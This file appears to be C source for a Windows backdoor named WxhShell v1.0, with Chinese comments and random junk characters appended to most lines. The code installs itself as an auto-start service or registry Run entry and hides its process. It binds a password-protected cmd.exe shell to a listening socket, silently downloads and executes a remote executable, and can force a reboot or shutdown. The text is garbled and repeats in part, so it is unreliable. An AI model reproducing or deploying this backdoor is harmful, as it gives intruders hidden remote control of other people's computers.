    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GB%kxtGD;\  
    if(Boot(SHUTDOWN)) "D\>oFu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z8Iqgz7|y  
    else { +3yG8  
    closesocket(wsh); 1Clid\T,o  
    ExitThread(0); o3"Nxq"U  
    } eOoqH$ i  
    break;  \gsJ1@  
    } Iuyq!R4:7  
  // 获取shell Y#,&Tu  
  case 's': { S j ly]  
    CmdShell(wsh); 6"Ze%:AZZ  
    closesocket(wsh); ZZ>"LH  
    ExitThread(0); E2xK GK   
    break; y Nc@K|  
  } eJ*u]GH U  
  // 退出 yk0tA  
  case 'x': { TU6(Q,Yi|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l4gF.-.GYF  
    CloseIt(wsh); `fuQ t4  
    break; "S]G+/I|iw  
    } Gx7bV}&PN  
  // 离开 qfkd Q/fP  
  case 'q': { &cWC&Ws"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~.tl7wKkR/  
    closesocket(wsh); qeW.~B!B  
    WSACleanup(); P BVF'~f@j  
    exit(1); 28LBvJVq@  
    break; .L9g*q/}  
        } yq?\.~ax  
  } DfU]+;AE  
  } =H`yzGt  
~,_@|,)  
  // 提示信息 ~?4 BP%g-y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K'}I?H~P_  
} V'tqsKQ!  
  } ? 'qyI^m@  
dVPY07P  
  return; [8<0Q_?,  
} B^!-%_q  
M&jlUr&l  
// shell模块句柄 ]H aX.Z<  
int CmdShell(SOCKET sock) y^e3Gyk  
{ 2FW"uYA;6  
STARTUPINFO si; )QW hzY  
ZeroMemory(&si,sizeof(si)); .EPv4[2%F8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =it@U/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?yxQs=&-q~  
PROCESS_INFORMATION ProcessInfo; F @<h:VVP  
char cmdline[]="cmd"; 0~EGrEt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); blWtC/!Aq;  
  return 0; :.tL~% q  
} c5|sda{  
}VRl L>HAC  
// 自身启动模式 @`#x:p:  
int StartFromService(void) JQ;.+5 N<K  
{ F\hVunPVx  
typedef struct 6yBd9=3K  
{ {n&n^`Em  
  DWORD ExitStatus; Z)IF3{*  
  DWORD PebBaseAddress; D)bL;h  
  DWORD AffinityMask; xFekSH7[F  
  DWORD BasePriority; (c&%1bJ  
  ULONG UniqueProcessId; IBvn q8\  
  ULONG InheritedFromUniqueProcessId; e/_QS}OA  
}   PROCESS_BASIC_INFORMATION; pGfGGY>i%  
dF09_nw  
PROCNTQSIP NtQueryInformationProcess; kh{3s:RQfC  
ZW9OPwV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #s81 k@#X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zRa2iCi  
mBJr*_p  
  HANDLE             hProcess; ).IyjHY  
  PROCESS_BASIC_INFORMATION pbi; kMK0|+  
";7xE#jRk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $5/d?q-ts{  
  if(NULL == hInst ) return 0; L&y"oAp<  
@D !*@M6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \@yJbhk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j#2E Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n1b:Bv4"]#  
(5E09K$  
  if (!NtQueryInformationProcess) return 0; V@T(%6<|  
/:Gy .  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7i{(,:  
  if(!hProcess) return 0; kxd*B P  
iF MfBg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <G|i5/|7  
"oNl!<ep  
  CloseHandle(hProcess); : \qapFV  
8Z_ 4%vUBg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Fo/RZOW  
if(hProcess==NULL) return 0; |,5|ZpgL  
^r.CUhx)  
HMODULE hMod; 4oH ,_sr  
char procName[255]; wBwTJCX  
unsigned long cbNeeded; +0z7}u\x  
Eyjsbj8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rD4 umWi  
YI;iG[T,&  
  CloseHandle(hProcess); -y$6gCRY  
|idw?qCn  
if(strstr(procName,"services")) return 1; // 以服务启动 kyvl>I0q@  
k_,& Q?GtU  
  return 0; // 注册表启动 R'zi#FeP  
} 1=z[U|&R  
_p%n%Oce  
// 主模块 2vLun   
int StartWxhshell(LPSTR lpCmdLine) fV5$[CL1  
{ L;$>SLl,  
  SOCKET wsl; vi UJ4Pn  
BOOL val=TRUE; ;*<R~HJt  
  int port=0; $.,B2}'  
  struct sockaddr_in door; c+e?xXCEAz  
n`&D_AbQ  
  if(wscfg.ws_autoins) Install(); 2;WbXc!#!  
.4[3r[  
port=atoi(lpCmdLine); >FwK_Zd'  
mc8Q2eQat}  
if(port<=0) port=wscfg.ws_port; kt)Et  
UAhWJ$(C  
  WSADATA data; Vez8 ~r3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fxPg"R!1i  
"W%YsN0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wV==sV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >bze0`}Z  
  door.sin_family = AF_INET; =X7kADRq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v { >3)$1  
  door.sin_port = htons(port); 94ruQ/  
ga%\n!S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b|Emu!9U  
closesocket(wsl); |*NZ^6`@  
return 1; Lo!hyQ)  
} +|obU9M  
[m0X kvd  
  if(listen(wsl,2) == INVALID_SOCKET) {  'Y)aGH(  
closesocket(wsl); G5/A {1sz&  
return 1; 1l#46?]~  
} HbA/~7  
  Wxhshell(wsl); Dc-K08c  
  WSACleanup(); '?veMX  
H575W"53  
return 0; 37zB X~  
0d_)C>gcF  
} CZ3oX#b  
)dhR&@r*w  
// 以NT服务方式启动 zx}+Q B0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z\CvaX  
{ 05FGfnq.8  
DWORD   status = 0; hYkk r&  
  DWORD   specificError = 0xfffffff; J#Hh4Kc  
z.cDbkf}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "frZ%mv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0AQ4:KV(Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }Kgi!$<aQx  
  serviceStatus.dwWin32ExitCode     = 0; d,(y$V+  
  serviceStatus.dwServiceSpecificExitCode = 0; k=mQG~  
  serviceStatus.dwCheckPoint       = 0; dw<i)P^   
  serviceStatus.dwWaitHint       = 0; ]H n:c'aT  
)sm9%|.&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jj \ nye+  
  if (hServiceStatusHandle==0) return; 'lZlfS:Z8  
D j9aTO  
status = GetLastError(); Og7yT{h_  
  if (status!=NO_ERROR) $?PI>9g!  
{ 3<r7"/5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PK:Lv15"r  
    serviceStatus.dwCheckPoint       = 0; HqWWWCWal  
    serviceStatus.dwWaitHint       = 0; ]jhi"BM  
    serviceStatus.dwWin32ExitCode     = status; ':4<[Vk  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ep;uz5 ^8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _VT{2`|})  
    return; }gv'r ";  
  } l7VO8p]y[R  
7#E/Q~]'6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yQrgOdo,w  
  serviceStatus.dwCheckPoint       = 0;  ImhkU%  
  serviceStatus.dwWaitHint       = 0; arm_SyL0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G!I++M"  
} %Y ZC dS  
UJ}}H}{  
// 处理NT服务事件,比如:启动、停止 Dr.eos4 ~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E"E(<a  
{ 4~Cf_`X}]  
switch(fdwControl) M$EF 8   
{ R1LirZlzJ  
case SERVICE_CONTROL_STOP: =cl#aS}e8  
  serviceStatus.dwWin32ExitCode = 0; RkG?R3e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LOkgeJuWv  
  serviceStatus.dwCheckPoint   = 0; viG=Ap.Th  
  serviceStatus.dwWaitHint     = 0; R9A:"sJ  
  { mHMsK}=~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !hQ-i3?qm  
  } KcV"<9rE  
  return; Zl3l=x h  
case SERVICE_CONTROL_PAUSE: @M\JzV4 A[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w~B1TfqNo  
  break; {O _X/y~  
case SERVICE_CONTROL_CONTINUE: z!6_u@^-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wBpt W2jA  
  break; 28^/By:J  
case SERVICE_CONTROL_INTERROGATE: qY-aR;  
  break; Q+Nnj(AQY  
}; bsu?Q'q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9mvy+XD  
} Q)aoc.f!v  
k`>qb8,  
// 标准应用程序主函数 RbUir185Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x}a?B  
{ BMAWjEr  
kVtP~  
// 获取操作系统版本 TQeIAy  
OsIsNt=GetOsVer(); uvl91~&G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S3x^#83  
PYQ  
  // 从命令行安装 !"phz&E5ah  
  if(strpbrk(lpCmdLine,"iI")) Install(); E7h@c>IK  
|8}y?kAC  
  // 下载执行文件 fX9b1x  
if(wscfg.ws_downexe) { 0 F8xS8vK+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j\KOKvY)  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Uch  
} L' _%zO  
B_Wig2xH0  
if(!OsIsNt) { @ ~{TL  
// 如果时win9x,隐藏进程并且设置为注册表启动 mKM[[l&A  
HideProc(); Q +hOW-  
StartWxhshell(lpCmdLine); b?=r%D->w  
} \W_ Dz*N  
else >.39OQ#  
  if(StartFromService()) \zVp8MMf  
  // 以服务方式启动 z1RHdu0;z  
  StartServiceCtrlDispatcher(DispatchTable); $hJ 4=F  
else oVuIHb0w  
  // 普通方式启动 fm^tU0DY  
  StartWxhshell(lpCmdLine); tvJl-&'N  
tF*Sg{:bCa  
return 0; #/(L.5d[  
} QncjSaEE  
/q]fG  
kVWrZ>McK  
HU +271A8  
=========================================== " d~M \Az  
V[44aN  
|a1zJ_t4  
ieEt C,U  
UWCm:eRQ  
K=sk1<>)m  
" kyB>]2  
}&ew}'*9)  
#include <stdio.h> Q Na*Y@i  
#include <string.h> s0Y7`uD^  
#include <windows.h> z1e+Ob&  
#include <winsock2.h> h 1j1PRE  
#include <winsvc.h> }q/[\3  
#include <urlmon.h> cJ,`71xop,  
F>u/Lh!  
#pragma comment (lib, "Ws2_32.lib") 78mJ3/?rC  
#pragma comment (lib, "urlmon.lib") Zg])uM]\2i  
HBa6Y&)<  
#define MAX_USER   100 // 最大客户端连接数 ||Wg'$3  
#define BUF_SOCK   200 // sock buffer n<[H!4  
#define KEY_BUFF   255 // 输入 buffer n*=Tm KQ  
dfeN_0` -  
#define REBOOT     0   // 重启 J:;nN-\j  
#define SHUTDOWN   1   // 关机 {2&MyxV  
sMw"C~XL  
#define DEF_PORT   5000 // 监听端口 M w+4atO4[  
6nk.q|n:g  
#define REG_LEN     16   // 注册表键长度 du=[r  
#define SVC_LEN     80   // NT服务名长度 wB*}XJah  
apm,$Vvjy  
// 从dll定义API Gc!&I+kd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wMiRN2\^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =~ j S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fo| rRI2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fc"+L+h@W  
62xAS#\K>  
// wxhshell配置信息 gG6BEsGa,  
struct WSCFG { D|5Fo'O^AV  
  int ws_port;         // 监听端口 O$& 4{h`  
  char ws_passstr[REG_LEN]; // 口令 '~Gk{'Nx"  
  int ws_autoins;       // 安装标记, 1=yes 0=no }D#[yE,=\  
  char ws_regname[REG_LEN]; // 注册表键名 oMZ|)(7C  
  char ws_svcname[REG_LEN]; // 服务名 jowR!rqf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '#Y[(5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o7 X5{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IQ}YF]I;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Cr F(wVO"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /T/7O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;!N_8{ 7r  
gNo}\ lm4V  
}; *6*/kV? F  
lF1ieg"i M  
// default Wxhshell configuration 'WQ<|(:{  
struct WSCFG wscfg={DEF_PORT, S QVyCxcX_  
    "xuhuanlingzhe", #_OrS/H  
    1, <)9E.h  
    "Wxhshell", 0_-NE4SM/  
    "Wxhshell", I!-5 #bxD  
            "WxhShell Service", H;eOrX {GT  
    "Wrsky Windows CmdShell Service", c1Ta!p{%  
    "Please Input Your Password: ", 3sq(FsT  
  1, j*)K> \  
  "http://www.wrsky.com/wxhshell.exe", 'gwh:8Xc  
  "Wxhshell.exe" .9;wJ9Bw[  
    }; }fKpih  
$3MYr5  
// 消息定义模块 qy|si4IU8,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -{XXU)Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JmK[7t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gcf EJN4'  
char *msg_ws_ext="\n\rExit."; oVSq#I4  
char *msg_ws_end="\n\rQuit."; V|8`]QW@  
char *msg_ws_boot="\n\rReboot..."; *z A1NH5  
char *msg_ws_poff="\n\rShutdown..."; *b0f)y3RV  
char *msg_ws_down="\n\rSave to "; \;s mH;m  
%@d~)f  
char *msg_ws_err="\n\rErr!"; C6C7*ks  
char *msg_ws_ok="\n\rOK!"; 6- @n$5W0  
~?)ST?&  
char ExeFile[MAX_PATH]; pP6pn~ }  
int nUser = 0; &<sN( ;%0R  
HANDLE handles[MAX_USER]; aBLE:v  
int OsIsNt; "ujt:4 p@  
`o~9a N  
SERVICE_STATUS       serviceStatus; y$e'-v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sy|{}NkA!  
%r*zd0*<n1  
// 函数声明 pPdOw K#  
int Install(void); Dab1^H!KT  
int Uninstall(void); 8HyK;+ZkVd  
int DownloadFile(char *sURL, SOCKET wsh); /# M|V6n  
int Boot(int flag); xv{iWJcs  
void HideProc(void); v5 yOh5  
int GetOsVer(void); 3wBc`vJ!  
int Wxhshell(SOCKET wsl); m{bw(+r  
void TalkWithClient(void *cs); :h&*<!O2B`  
int CmdShell(SOCKET sock); !.'@3-w]  
int StartFromService(void); /L1qdkG  
int StartWxhshell(LPSTR lpCmdLine); 8L?35[]e  
5"[Qs|VjA6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "(+ >#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4V7{5:oa  
#n'tpp~O  
// 数据结构和表定义 q lL6wzq,  
SERVICE_TABLE_ENTRY DispatchTable[] = v |XEC[F  
{ MOFIR wVZ+  
{wscfg.ws_svcname, NTServiceMain}, yS#LT3>l  
{NULL, NULL} H! ZPP8]j>  
}; zX!zG<<K  
K@6tI~un  
// 自我安装 ?.:C+*+  
int Install(void) RkN a;j)t  
{ cvbv\G'aT  
  char svExeFile[MAX_PATH]; :CN,I!:  
  HKEY key; j"E_nV:Qc  
  strcpy(svExeFile,ExeFile); EY(@R2~#J  
AO9F.A<T5  
// 如果是win9x系统,修改注册表设为自启动 &Q^M[X  
if(!OsIsNt) { \HDRr*KO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aT#R#7<Eg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YXJjqH3  
  RegCloseKey(key); [KR`%fD0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .3,s4\.kT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] w FFGy  
  RegCloseKey(key); [t /hjm"$  
  return 0; "qb3\0O  
    } Xb42R1  
  } ;KmSz 1A  
} s} ,p>8  
else { fAfsKO*  
i7}) VDsZ  
// 如果是NT以上系统,安装为系统服务 R{3f5**0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j3~:\H  
if (schSCManager!=0) lC.Yu$O5  
{ :t]YPt  
  SC_HANDLE schService = CreateService LN?f w  
  ( 9S.Uo[YY  
  schSCManager, r9@W8](\  
  wscfg.ws_svcname, w/N.#s^  
  wscfg.ws_svcdisp, -.1x!~.jX  
  SERVICE_ALL_ACCESS, 8(D>ws$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;|b D@%@  
  SERVICE_AUTO_START, H__9%p#  
  SERVICE_ERROR_NORMAL, by& #g  
  svExeFile, b3x!tuQn  
  NULL, N>7INK  
  NULL, <r,l  
  NULL, 9rtcI[&?0  
  NULL, r<Ll>R  
  NULL N9Yc\?_NU_  
  ); +BM(0M+  
  if (schService!=0) VLc=!W}  
  { RT8xU;   
  CloseServiceHandle(schService); S?*v p=  
  CloseServiceHandle(schSCManager); g% #" 5Kr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z= dEk`  
  strcat(svExeFile,wscfg.ws_svcname); :p(3Ap2TY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |SZRO,7x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I' ej?~  
  RegCloseKey(key); G#8HY VF  
  return 0; IBC P6[  
    } %s%v|HDs  
  } ~9p*zC3M  
  CloseServiceHandle(schSCManager); 4_8%ZaQ\.?  
} d /jO~+jP  
} M SoLx' <  
"44VvpQC  
return 1; ;-lk#D?n9  
} VieC+Kk  
$OHY^IE(  
// 自我卸载 0~H(GG$VH  
int Uninstall(void) #q%xJ[  
{ ^* ^te+N  
  HKEY key; C+cSy'VIK!  
(01M0b#  
if(!OsIsNt) { *{P"u(K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Y- Sqk+  
  RegDeleteValue(key,wscfg.ws_regname); 4WG~7eIgy  
  RegCloseKey(key); d Ayof=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =4"D8 UaHr  
  RegDeleteValue(key,wscfg.ws_regname); >lU[ lf+/  
  RegCloseKey(key); =da_zy  
  return 0; D%N^iJC,9  
  } ~(aQ!!H6  
} t;T MD\BU  
} PCH&eTKN  
else { 8xs[{?|:  
3<1Uq3Pa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DKAqQ?fS  
if (schSCManager!=0) r ioNP(  
{ b{=2#J-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XL>c TM  
  if (schService!=0) 9w^1/t&=04  
  { m:59f9WXA  
  if(DeleteService(schService)!=0) { ZMy0iQ@  
  CloseServiceHandle(schService); D'F =v\P  
  CloseServiceHandle(schSCManager); %g{m12  
  return 0; 4P( Y34j  
  } G4vXPx%a8  
  CloseServiceHandle(schService); 8Gzc3  
  }  $J>GCY  
  CloseServiceHandle(schSCManager); !jL|HwlA  
} UB }n=  
} v=EV5#A  
0'wB':v  
return 1; qvy~b  
} &[f.;1+C  
~0,Utqy  
// 从指定url下载文件 s9>f5u?dK  
int DownloadFile(char *sURL, SOCKET wsh) Q0i.gEwe  
{ iY1%"x  
  HRESULT hr; @cA`del  
char seps[]= "/";  d!5C$C/x  
char *token; x+x 6F  
char *file; +!6aB|-  
char myURL[MAX_PATH]; "rOe J~4 X  
char myFILE[MAX_PATH]; $@"o BCc  
yT%"<m6Y*\  
strcpy(myURL,sURL); >!MOgLO3  
  token=strtok(myURL,seps); n#[-1 (P  
  while(token!=NULL) k3h,c;  
  { Mo\LFxx>4{  
    file=token; fhw.A5Ck  
  token=strtok(NULL,seps); 47.c  
  } #;sUAR?]  
5@ecZ2`)+h  
GetCurrentDirectory(MAX_PATH,myFILE); m=<Tylv  
strcat(myFILE, "\\"); D7H,49#1Q  
strcat(myFILE, file); 1OJD!juL$  
  send(wsh,myFILE,strlen(myFILE),0); s+&Ts|c#  
send(wsh,"...",3,0); D 's'LspQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +ntrp='7O7  
  if(hr==S_OK) \>0%E{CR  
return 0; T+ey>[  
else 86NAa6BW  
return 1; 7\m.xWX e  
P0NGjS|Z{  
} MG)wVS<d_  
Vw.c05x  
// 系统电源模块 )nmLgsg  
int Boot(int flag) hbRDM'  
{ }6ObQa43   
  HANDLE hToken; ivg:`$a[  
  TOKEN_PRIVILEGES tkp; :9un6A9JS  
|g<1n  
  if(OsIsNt) { Jlw%t!Kx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  SbQ Ri  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ],CJSA!5F  
    tkp.PrivilegeCount = 1; ru[W?O"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y57]q#k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ReE-I/n8f  
if(flag==REBOOT) { 1-[~}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mi9BC9W(  
  return 0; >^}nk04  
} WM$)T6M  
else { ,FR FH8p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q] g'rO'  
  return 0; vJ5`:4n"  
} +p6cG\Gp  
  } (qd$wv^ h  
  else { [=M0%"  
if(flag==REBOOT) { F[PIo7?K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [<SM*fQ>t  
  return 0; 6v~` jS%3  
} y,&.<Yc  
else { b<,Z^Z_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]"bkB+I  
  return 0; jO xH' 1I  
} n5CjwLgu\b  
} MG ,exN @  
i'&KoR ?  
return 1; bB^% O^:  
} 3 $7TeqfAC  
&"GHD{ix  
// win9x进程隐藏模块 @y:mj \J9  
void HideProc(void) %-ih$ZY  
{ l%"[857  
k^3 ?Z2a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z#7T!/28  
  if ( hKernel != NULL ) *:t]|$;E\  
  { SN2X{Q|*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mD }&X7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B.wihJVDg  
    FreeLibrary(hKernel); }p-<+sFo  
  } ?"MJ'u  
XE8~R5  
return; 2 mM0\ja  
} i! G^=N  
(I3:u-A  
// 获取操作系统版本 H':dLR  
int GetOsVer(void)  V[D[MZ  
{ 'VA\dpa{J  
  OSVERSIONINFO winfo; W[S4s/)mg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M7Ej#Y  
  GetVersionEx(&winfo); WK7=z3mu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uv*OiB"  
  return 1; 5`mRrEA  
  else ;)ff Gg>  
  return 0; dRg1I=|{_  
} y7M"Dr%t^  
q 4_&C&7  
// 客户端句柄模块 >T3HkOT  
int Wxhshell(SOCKET wsl) "kyy>H9)  
{ ]9z{ 95  
  SOCKET wsh; ;c73:'e  
  struct sockaddr_in client; f:L%th  
  DWORD myID; uiq)?XUKv  
i|u3Qt5  
  while(nUser<MAX_USER) .v [8ie  
{ Te?UQX7Z}M  
  int nSize=sizeof(client); .Ajs0 T2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^T\JFzV  
  if(wsh==INVALID_SOCKET) return 1; Ikiv+Fq(  
k>#,1GbNZy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,lm.~%}P*  
if(handles[nUser]==0) e#`wshtN:  
  closesocket(wsh); T 1m097  
else !Dp4uE:Pq  
  nUser++; YIs(Q  
  } Qg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); btb-MSkO  
V.J[Uwf  
  return 0; d#7 z N  
} A S;ra,x  
q[]EVs0$ew  
// 关闭 socket (1\!6  
void CloseIt(SOCKET wsh) m MO:m8W  
{ YBQO]3f  
closesocket(wsh); *=}$@O S  
nUser--; +GMM&6<  
ExitThread(0); '/ 3..3k  
} ]t_AXKd  
qNER 6  
// 客户端请求句柄 *{:FPmDU  
void TalkWithClient(void *cs) WQ4:='(  
{ Z[KXDQn8  
YhFB*D;  
  SOCKET wsh=(SOCKET)cs; Bn*D<<{T  
  char pwd[SVC_LEN]; P7d" E  
  char cmd[KEY_BUFF]; LKY4rY!|@d  
char chr[1]; fKIwdk%!-  
int i,j; > taT;[Oa  
20;M-Wx  
  while (nUser < MAX_USER) { u*`acmS>N  
ON _uu]=  
if(wscfg.ws_passstr) { Rj9ME,u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D:'|poH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hk8:7"4Q  
  //ZeroMemory(pwd,KEY_BUFF); <I'kJ{"  
      i=0; 9 a2Ga   
  while(i<SVC_LEN) { Q?n} ~(% &  
S(mJ;C  
  // 设置超时 h>$,97EU  
  fd_set FdRead; wlBdA  
  struct timeval TimeOut; t`+x5*g W  
  FD_ZERO(&FdRead); gE(QVbh(  
  FD_SET(wsh,&FdRead); QsI#Ae,O#;  
  TimeOut.tv_sec=8; qO[6?q=c:  
  TimeOut.tv_usec=0; }Y[Z`w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '(Uyju=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c`mJrS:  
b_cnVlN[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J7t5 B}}  
  pwd=chr[0]; -\\}K\*MJ  
  if(chr[0]==0xd || chr[0]==0xa) { 7J./SBhB  
  pwd=0; |f'U_nE#R/  
  break; enlk)_btp  
  } d /&aC#'B  
  i++; u-Ct-0  
    } 1K^blOLXe  
A,e/y  
  // 如果是非法用户,关闭 socket DSYtj} >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1F-o3\  
} k=H{gt  
|~hSK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ST)l0c+Y>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I>bLgt]u3  
Pk[f_%0  
while(1) { uNl<= 1  
:Y(Yk5  
  ZeroMemory(cmd,KEY_BUFF); NWNH)O@  
+cM;d4  
      // 自动支持客户端 telnet标准   &1893#V  
  j=0; D4G*K*z,w4  
  while(j<KEY_BUFF) { &D[dDUdHs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KM< +9`  
  cmd[j]=chr[0]; YTQ|Hg6jO  
  if(chr[0]==0xa || chr[0]==0xd) { D; H</5#Q  
  cmd[j]=0; ^i&/k  
  break; rw8O<No4.o  
  } {o+aEMhM  
  j++; PV(b J7&R  
    } 9fMg?  
jpZX5_o  
  // 下载文件 9z\q_ 0&i  
  if(strstr(cmd,"http://")) { !Qjpj KRy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t #MU2b  
